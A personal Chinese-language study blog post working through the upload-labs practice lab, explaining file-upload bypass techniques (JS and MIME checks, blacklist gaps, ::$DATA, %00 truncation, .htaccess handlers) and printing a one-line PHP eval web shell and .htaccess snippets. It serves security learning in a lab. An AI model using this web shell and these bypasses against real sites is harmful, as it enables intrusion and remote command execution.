写在前面: 此博客仅用于记录个人学习进度,学识浅薄,若有错误观点欢迎评论区指出。欢迎各位前来交流。(部分材料来源网络,若有侵权,立即删除)
参考文章01
文件上传:js绕过
- 说明:Web应用系统虽然对用户上传的文件校验是通过前端javascript代码完成的。可以通过对前端javascript进行修改或者是通过抓包软件改动上传的文件,就可以绕过基于js的校验。
upload-labs01
 
- 判断是否存在js校验:
- 按F12打开调试面板,选择网络,然后上传非图片文件,如果网络中没有数据变化说明存在js漏洞,如果有变化说明不存在。
 - 这边选择的是上传一个txt文本
 - 没有数据变化说明存在js漏洞
绕过方法一:禁用js

 
使用Burp Suite

- 写入一句话木马保存,
<?php eval($_GET['cmd']); ?> ,修改后缀为jpg


 

文件上传:mime绕过
- 说明:MIME(Multipurpose Internet Mail Extensions)多用途互联网邮件扩展类型。是设定某种扩展名的文件用一种应用程序来打开的方式类型,当该扩展名文件被访问的时候,浏览器会自动使用指定应用程序来打开。
- 绕过原理:部分Web应用系统判定文件类型是通过content-type字段,黑客可以通过抓包,将content-type字段改为常见的图片类型,如image/gif,从而绕过校验。
- 常见几种MIME类型:
text/plain(纯文本) text/html(HTML文档) text/javascript(js代码) application/xhtml+xml(XHTML文档) image/gif(GIF图像) image/jpeg(JPEG图像) image/png(PNG图像) video/mpeg(MPEG动画) application/octet-stream(二进制数据) application/pdf(PDF文档)
upload-labs02
 
- 事先php文件
- 上传php然后抓包
 - 修改content-type字段,改为常见的图片类型,image/gif,然后发包



文件上传:黑名单限制
upload-labs03

- 发现源码中对扩展名进行了黑名单限制,所限制的文件类型不全,可用.php5 .php4 .php3 .phtml .phpt类型扩展名绕过。
- 更改后缀名

 
upload-labs05

-
可以看到基本上和php相关的内容都被限制上传了 -
查看源码发现缺少了大小写转换那一步骤 

- 翻译翻译就是,大写的PHP不再黑名单里
- 所以
  - get it
upload-labs06

- 依旧不当人
- 查看源码发现未对末尾空格进行处理


- 翻译翻译,在后缀后面加一个空格就好了
 - 这里还是需要抓包改包


upload-labs07



- 翻译翻译:在后缀后面加个点然后上传就行了
  - get it
upload-labs08

- 总的来说做个人很困难
- 查看源码
 - 发现少了点什么: ::$DATA

- 翻译翻译,就是在.php后面添加这个后缀::$DATA
  - 在访问的时候需要去除 ::$DATA
- 不然会出现403
- get it
upload-labs09

- 这个情况有点离谱
- 看看源码
 - 代码先是去除文件名前后的空格,再去除文件名最后所有的.,再通过strrchar函数来寻找.来确认文件名的后缀,但是最后保存文件的时候没有重命名而使用的原始的文件名,导致可以利用.php. .(点+空格+点)来绕过
 
upload-labs10

- 可以看到是在文件名中去除这些后缀
- 查看源码
- 发现在去除完之后貌似不存在二次检测
- 那就构造.pphphp后缀
 - get it
文件上传: 截断漏洞
upload-labs11

- 首先限定了后缀
- 但是离谱的是路径可更改
- 这波不是白给吗

- 这里的路径是保存的路径
- 所以需要把php文件后缀改成图片然后更改保存路径从而再次改回php
- 然后还需要在路径后面添加%00
- 关于%00
- 为什么修改path才可以?
- 因为程序中检测的是文件的后缀名,如果后缀合法则拼接路径和文件名。 - 那么,攻击者修改了path以后的拼接结果为:uploads/aaa.php%00/20190818.php - 移动文件的时候会将文件保存为:uploads/aaa.php - 从而达到Getshell效果。 
upload-labs12
- 后续由于php版本限制这两关的漏洞貌似无法直接使用
- 放上另一位博主成功的示例
https://blog.csdn.net/u014029795/article/details/102889924
文件上传:.htaccess文件解析漏洞
- .htaccess文件(或者"分布式配置文件"),全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。
<IfModule mime_module>
AddHandler php5-script .gif
SetHandler application/x-httpd-php
</IfModule>
<FilesMatch "evil.gif">
SetHandler application/x-httpd-php
AddHandler php5-script .gif
</FilesMatch>
<IfModule mime_module>
AddType application/x-httpd-php .gif
</IfModule>
upload-labs04

- 多多少少有点不当人
- 决定通过上传.htaccess文件来达到目的
<FilesMatch "test.gif">
SetHandler application/x-httpd-php
AddHandler php5-script .gif
</FilesMatch>
   
- 结果上是成功的
- 说明test.gif被php解析了
- get it
|